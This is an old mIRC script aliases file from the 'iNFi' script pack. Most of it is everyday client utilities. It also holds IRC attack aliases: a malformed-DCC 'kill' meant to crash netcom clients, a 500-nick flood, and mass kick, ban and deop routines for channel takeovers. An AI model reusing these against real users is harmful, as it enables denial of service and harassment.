(::iNFi::) — File Browser
iNFiv0.5 / iNFiv0.5 / INFI / ALIASES.INI
ALIASES.INI — 14.48 KB — Download this file
[Aliases]
n0=; ( ::[%i%]:: )
n1=/b {
n2= cycle
n3= mode # +bbb *!*@kaps-ux1.cyberenet.net *!*@ip113.ts1.phx.inficad.com *!*@orion.starlink.com
n4= mode # +smtink #@$&^YJG%^JHGJR^&*&*IGHMBVNVBGFHfg
n5= mode # +bbbb a b c d
n6= mode # +bbbb e f g h
n7= mode # +bbbb i j k l
n8= mode # +bbbb m n o p
n9= mode # +bbbb q r s t
n10=}
n11=/irc //raw -q PRIVMSG Cka :DCC CHAT emretsim $longip($ip) 6667
n12=fake {
n13= %l = $replace(*1,$chr(32),$chr(160))
n14= join %l
n15=}
n16=cquery {
n17= set %i $query(0)
n18= set %j 0
n19= :next
n20= inc %j 1
n21= if $query(%j) != $null {
n22= closemsg $query(%j)
n23= if %j >= %i { halt }
n24= goto next
n25= }
n26=}
n27=namez {
n28= unset %nickz
n29= set %i $nick(0,#)
n30= set %j 0
n31= :next
n32= inc %j
n33= if $nick(%j,#) != $null {
n34= if $maddress($address($nick(%j,#),5)) == 100 { set %nickz %nickz $+ , $+ $nick(%j,#) $+ }
n35= else set %nickz %nickz $+ , $nick(%j,#)
n36= }
n37= if %j == %i { echo (::iNFi::) NameZ: %nickz | halt }
n38= else goto next
n39=}
n40=paddy {
n41= %blah1 = $gettok($address($1,1),1,64)
n42= %blah2 = $gettok($address($1,1),2,64)
n43= %blah2 = $left(6,%blah2)
n44= %blah3 = $address($1,4)
n45= %blah3 = $remove(%blah3,*!*@*)
n46= return %blah1 $+ @ $+ %blah2 $+ * $+ %blah3
n47=}
n48=connect {
n49= %tz = $remove(*1,$chr(32))
n50= say %tz
n51=}
n52=ud {
n53= %tz = $upper(*1)
n54= %tz = $replace(%tz,A,a)
n55= %tz = $replace(%tz,E,e)
n56= %tz = $replace(%tz,I,i)
n57= %tz = $replace(%tz,O,o)
n58= %tz = $replace(%tz,U,u)
n59= return %tz
n60=}
n61=leetsay {
n62= %tz = *1
n63= %tz = $replace(%tz,a,4)
n64= %tz = $replace(%tz,e,3)
n65= %tz = $replace(%tz,i,1)
n66= %tz = $replace(%tz,l,1)
n67= %tz = $replace(%tz,o,0)
n68= %tz = $replace(%tz,s,5)
n69= %tz = $replace(%tz,t,7)
n70= say %tz
n71=}
n72=chanz {
n73= %chanz = $dde mIRC channels ""
n74= %chanz = $remove(%chanz,*)
n75= %chanz = $replace(%chanz,$chr(32),$chr(44))
n76= return %chanz
n77=}
n78=chans {
n79= set %chanz $dde mIRC channels ""
n80= %chanz = $remove(%chanz,*)
n81= %chanz = $replace(%chanz,$chr(32),$chr(44))
n82= part %chanz
n83=}
n84=aop { .auser 60 $1 }
n85=adeop { .auser 40 $1 }
n86=;taken from the mIRC FAQv29 - Identifiers
n87=perc {
n88= if ($1 == $null) || ($2 == $null) { return Error not enough parameters }
n89= if ($2 != 1) { %half = $2 / 2 } | else { %half = 1 }
n90= %dummy = $1 * 100
n91= %perc = %dummy / $2
n92= %remainder = %dummy % $2
n93= if (%perc == 0) { goto return }
n94= elseif (%remainder >= %half) { inc %perc }
n95= :return
n96= return %perc $+ %
n97=}
n98=;taken from the mIRC FAQv29 - Identifiers
n99=atime {
n100= set %hr $token(1,58,$time)
n101= set %min.0 $token(2,58,$time)
n102= set %sec
n103= if (%hr == 0) { set %hr 12 | set %sub AM }
n104= elseif (%hr < 12) { set %sub AM }
n105= elseif (%hr == 12) { set %sub PM }
n106= else { %hr = %hr - 12 | set %sub PM }
n107= return %hr $+ : $+ %min.0 $+ %sub
n108=}
n109=dns {
n110= echo -s `-`-`-`NS Lookup for $1 $+ `-`-`-`-`
n111= .dns $1
n112= halt
n113=}
n114=away {
n115= if $1 == $null {
n116= ame is back.. [:: $+ $atime $+ ::]
n117= .timer455 off
n118= unset %awaymsg
n119= away
n120= }
n121= if $1 != $null {
n122= set %awaymsg is away. .x [ $+ *1 $+ ] x. [:: $+ $atime $+ ::] (::iNFi::)
n123= away .x [ $+ *1 $+ ] x. [:: $+ $atime $+ ::] (::iNFi::)
n124= . timer455 0 200 /daway
n125= daway
n126= }
n127=}
n128=daway {
n129= ame %awaymsg
n130=}
n131=server {
n132= if $server != $null { quit (::iNFi::) Changing Servers | server *1 }
n133= if $server == $null { server *1 }
n134=}
n135=echoall {
n136= set %i $chan(0)
n137= set %j 0
n138= :next
n139= inc %j 1
n140= if $chan(%j) != $null {
n141= echo 4 $chan(%j) *1
n142= if %j >= %i { halt }
n143= goto next
n144= }
n145=}
n146=dccsends {
n147= echo (::iNFi::) Dcc Send List.
n148= set %i $send(0)
n149= set %j 0
n150= :next
n151= inc %j 1
n152= if $send(%j) != $null {
n153= set %b $send(%j).cps * 60
n154= set %c $send(%j).cps / 1000
n155= echo ( $+ %j $+ / $+ %i $+ ) ( $+ $send(%j) $+ )
n156= echo Status: $send(%j).status
n157= echo Filename: $send(%j).file
n158= echo Sent: ( $+ $send(%j).sent $+ / $+ $send(%j).size $+ ) ( $+ $send(%j).pc $+ % done) Going $+ $send(%j).cps $+ bytes/sec ( $+ %b bytes/min) -\- ( $+ %c kb/sec)
n159= if %j >= %i {
n160= echo (::iNFi::) End of Dcc Send List.
n161= halt
n162= }
n163= goto next
n164= }
n165=}
n166=slist {
n167= echo (::iNFi::) Server List.
n168= set %i $server(0)
n169= set %j 0
n170= :next
n171= inc %j 1
n172= if $server(%j) != $null {
n173= echo 3 [Server: $server(%j) $+ : $+ $server(%j).port $+ ] ( $+ $server(%j).desc $+ ) ( $+ %j $+ / $+ %i $+ )
n174= if %j >= %i { echo (::iNFi::) End of Server List. | halt }
n175= goto next
n176= }
n177=}
n178=inal {
n179= set %i $ial(*!*,0)
n180= set %j 0
n181= :next
n182= inc %j 1
n183= if $ial(*!*,%j) != $null {
n184= echo 4 ( $+ %j $+ / $+ %i $+ ) $ial(*!*@*,%j)
n185= if %j >= %i { echo (::iNFi::) End Of IAL List. | halt }
n186= goto next
n187= }
n188=}
n189=urllist {
n190= set %i $url(0)
n191= set %j 0
n192= :next
n193= inc %j 1
n194= if $url(%j) != $null {
n195= echo 4 ( $+ %j $+ / $+ %i $+ ) 3[Page: $url(%j) $+ ] -\- 6[Desc: $url(%j).desc $+ ]
n196= if %j >= %i { echo (::iNFi::) End Of URL List. | halt }
n197= goto next
n198= }
n199=}
n200=ixkill {
n201= raw -q notice $$1 $2 :DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048 DCC BUH BUH BUH 2048
n202= echo 3 %slogo netcommie kill attempt on $1 $+ .. this will work if $1 uses netcom irc %slogo
n203=}
n204=kb {
n205= unset %l
n206= %l = $lof($1) / 1000
n207= return %l
n208=}
n209=tbardisp {
n210= inc %infi 1
n211= titlebar $read -l $+ %infi $mircdirinfi.ini [iDLE: $idle $+ ]-[Online: $online $+ ]
n212= if (%infi == 9) set %infi 0
n213=}
n214=online {
n215= return %hour $+ hr $+ %min $+ min $+ %secs $+ secs
n216=}
n217=popupserv { write -c $mircdirpopserv.ini | write $mircdirpopserv.ini [mPopup] | set %popserv ON | set %pps 0 | write $mircdirpopserv.ini n $+ %pps $+ =- [iNFi] - Server List for $server $+ :/ | write $mircdirpopserv.ini n1=Servers | inc %pps | links }
n218=dccbot {
n219= raw -q PRIVMSG $me : $+ $chr(1) $+ DCC CHAT CHAT $longip($?="DNS?") $?="Port?" $+ $chr(1)
n220=}
n221=rb { echo (::iNFi::) Resetting Bans on # $+ ... | unset %bans | set %bc 0 | set %resetbans ON | set %bchan # | mode # b }
n222=shitlist {
n223= if ($1 == $null) || ($2 == $null) { echo usage: /shitlist <address> <Reason> | halt }
n224= if (-r == $1) {
n225= .ruser $?="Address?"
n226= write -ds $+ $! $mircdirshitlist.ini
n227= halt
n228= }
n229= set %s.address $1
n230= set %s.reason *2
n231= .auser 30 %s.address
n232= write $mircdirshitlist.ini %s.address %s.reason
n233= echo 4 (::iNFi::) Added %s.address to shitlist w/ reason: %s.reason
n234= unset %s.address %s.reason
n235=}
n236=friend {
n237= if (-r == $1) {
n238= .ruser $?="Address?"
n239= write -ds $+ $!
n240= halt
n241= }
n242= set %s.address $?="Address?"
n243= .auser 100 %s.address
n244= echo 4 (::iNFi::) Added %s.address to Friend List
n245= unset %s.address
n246=}
n247=scan {
n248= unset %friends
n249= set %c $nick(0,#)
n250= set %d 0
n251= :next
n252= inc %d
n253= if $nick(%d,#) != $null {
n254= if ($level($maddress($address($opnick(%d,#),5))) == 100) { mode # +o $nick(%d,#) }
n255= }
n256= if (%d >= %c) { halt }
n257= goto next
n258=}
n259=bw {
n260= set %i 0
n261= set %result
n262= :nexti
n263= inc %i
n264= if $token(%i,32,*1) != $null {
n265= set %j 0
n266= set %cur
n267= :nextj
n268= inc %j
n269= if $mid(%j,1,$token(%i,32,*1)) != $null {
n270= if %cur == $null { set %cur $mid(%j,1,$token(%i,32,*1)) }
n271= else { %cur = $mid(%j,1,$token(%i,32,*1)) $+ %cur }
n272= goto nextj
n273= }
n274= %result = %cur %result
n275= goto nexti
n276= }
n277= return %result
n278=}
n279=dccchats {
n280= set %i $chat(0)
n281= set %j 0
n282= :next
n283= inc %j 1
n284= if $chat(%j) != $null {
n285= echo 3 DCC Chat With $chat(%j)
n286= echo 3 Connected to $chat(%j).ip ( $+ $gettok($address($chat(%j),2)),2,64 $+ )
n287= echo 3 Status: $chat(%j).status
n288= echo 3 -------------------------------------
n289= goto end
n290= :endtbardisp
n291= if %j >= %i {
n292= echo 3 (::iNFi::) End of DCC Chat's List
n293= halt
n294= }
n295= else goto next
n296= }
n297=}
n298=channels {
n299= set %channels $chan(0)
n300= set %channelz 0
n301= set %i $chan(0)
n302= set %j 0
n303= :next
n304= inc %j 1
n305= inc %channelz
n306= if $chan(%j) != $null {
n307= set %chan $chan
n308= echo 3 Channel ( $+ %channelz $+ / $+ %channels $+ )
n309= echo 3 Name: $+ $chan(%j) $+
n310= if $chan(%j).key != $null { echo 3 Key: $chan(%j).key }
n311= if $chan(%j).key == $null { echo 3 Key: <none> }
n312= if $chan(%j).mode != $null { echo 3 Mode: $chan(%j).mode }
n313= if $chan(%j).mode == $null { echo 3 Mode: <none> }
n314= if $chan(%j).topic != $null { echo 3 Topic: $chan(%j).topic }
n315= if $chan(%j).topic == $null { echo 3 Topic: <none> }
n316= echo 5 -------------------------------------------------------------
n317= goto end
n318= :end
n319= if %j >= %i {
n320= echo 6 (::iNFi::) End Of Channel List.
n321= unset %i %channelz %channels
n322= halt
n323= }
n324= else goto next
n325= }
n326=}
n327=mkno {
n328= set %kicked $nopnick(0,#)
n329= set %kicker 0
n330= set %i $nopnick(0,#)
n331= set %j 0
n332= :next
n333= inc -q %j 1
n334= inc -q %kicker
n335= if ($nopnick(%j,#) != $null) {
n336= if ($nopnick(%j,#) != $me) { kick # $nopnick(%j,#) (::iNFi::) mK ( $+ %kicker $+ / $+ %kicked $+ ) }
n337= }
n338= if (%j >= %i) {
n339= echo (::iNFi::) Mass Kick Non Ops Complete
n340= unset %j %i %kicked %kicker
n341= halt
n342= }
n343= goto next
n344=}
n345=mko {
n346= set %kicked $opnick(0,#)
n347= dec %kicked 1
n348= set %kicker 0
n349= set %i $opnick(0,#)
n350= set %j 0
n351= :next
n352= inc -q %j 1
n353= inc -q %kicker
n354= if ($opnick(%j,#) != $null) {
n355= if ($opnick(%j,#) != $me) { kick # $opnick(%j,#) (::iNFi::) mK ( $+ %kicker $+ / $+ %kicked $+ ) }
n356= }
n357= if %j >= %i {
n358= echo (::iNFi::) Mass Kick Ops Complete
n359= unset %j %i %kicked %kicker
n360= halt
n361= }
n362= goto next
n363=}
n364=mkba {
n365= set %kicked $nick(0,#)
n366= set %kicker 0
n367= set %i $nick(0,#)
n368= set %j 0
n369= :next
n370= inc -q %j 1
n371= inc -q %kicker
n372= if ($nick(%j,#) != $null) {
n373= if ($nick(%j,#) != $me) { raw -q mode # -o+b $nick(%j,#) $address($nick(%j,#),3) | raw -q kick # $nick(%j,#) :(::iNFi::) mK+B+ ( $+ %kicker $+ / $+ %kicked $+ ) }
n374= }
n375= if (%j >= %i) {
n376= echo (::iNFi::) Mass Kick Ban All Completed.
n377= unset %j %i %kicked %kicker
n378= halt
n379= }
n380= goto next
n381=}
n382=cycle { set %tkey $chan(#).key | raw -q part # | raw -q join # %tkey | unset %tkey }
n383=mds {
n384= set %i 1
n385= set %deop
n386= set %num 0
n387= :next
n388= set %nick $snick(%i,#)
n389= if %nick == $null goto done
n390= if %nick != $me { %deop = %deop %nick
n391= inc %num }
n392= if %num == 4 { raw -q mode # -oooo %deop
n393= set %num 0
n394= set %deop }
n395= inc %i
n396= goto next
n397= :done
n398= if %num != 0 { raw -q mode # -oooo %deop }
n399= unset %i %deop %nick %num
n400=}
n401=mos {
n402= set %i 1
n403= set %deop
n404= set %num 0
n405= :next
n406= set %nick $snick(%i,#)
n407= if %nick == $null goto done
n408= if %nick != $me { %deop = %deop %nick
n409= inc %num }
n410= if %num == 4 { raw -q mode # +oooo %deop
n411= set %num 0
n412= set %deop }
n413= inc %i
n414= goto next
n415= :done
n416= if %num != 0 { raw -q mode # +oooo %deop }
n417= unset %i %deop %nick %num
n418=}
n419=md {
n420= set %i 1
n421= set %deop
n422= set %num 0
n423= :next
n424= set %nick $opnick(%i,#)
n425= if %nick == $null goto done
n426= if %nick != $me { %deop = %deop %nick
n427= inc %num }
n428= if %num == 4 { raw -q mode # -oooo %deop
n429= set %num 0
n430= set %deop }
n431= inc %i
n432= goto next
n433= :done
n434= if %num != 0 { raw -q mode # -oooo %deop }
n435= unset %i %deop %nick %num
n436=}
n437=longip { set %longip on | dns $1 }
n438=longip1 { echo LongIP is %longip-result $+ }
n439=ccode {
n440= set %color *1
n441= %color = $replace(%color,$chr(32), )
n442= say 3 $+ %color
n443=}
n444=bbl me will bbL ( $+ *1 $+ ) | /exit
n445=tell say <[4,1 $+ $1 $+ ]> : *2
n446=advertise me is running %ver [ $+ $read $mircdirsayings.ini $+ ]
n447=chr {
n448= write -c $mircdirchr1.txt
n449= unset %chr
n450= :begin
n451= inc %chr
n452= set %chr.1 $chr(%chr)
n453= write $mircdirchr1.txt %chr == %chr.1
n454= if %chr == 2000 { halt }
n455= goto begin
n456=}
n457=;$gettok($address($chat(%j),2)),2,64
n458=nflood {
n459= set %j 0
n460= :begin
n461= inc %j 1
n462= msg =wewp .nick $me $+ %j
n463= if %j == 500 { halt }
n464= goto begin
n465=}
n466=bk {
n467= %a.1 = $gettok($address($1,3),1,64)
n468= %a.2 = $right(4,$address($1,3))
n469= %a.1 = $replace(%a.1,$mid(1,4,%a.1),*!*)
n470= mode # +b %a.1 $+ @ $+ * $+ %a.2
n471= kick # $1 ::iNFi::) ( $+ *2 $+
n472=}
n473=wall onotice # [4,13::WallOpz::] 4,3( $+ # $+ ) 4 $+ *1 $+
n474=op mode # +ooo $$1 $2 $3
n475=dop mode # -ooo $$1 $2 $3
n476=j join #$$1
n477=p part #
n478=n names #$$1
n479=w whois $$1
n480=k kick # $$1
n481=q query $$1
n482=hop { part # | join #$$1}
n483=send dcc send $1 $2
n484=chat dcc chat $1
n485=ping ctcp $$1 ping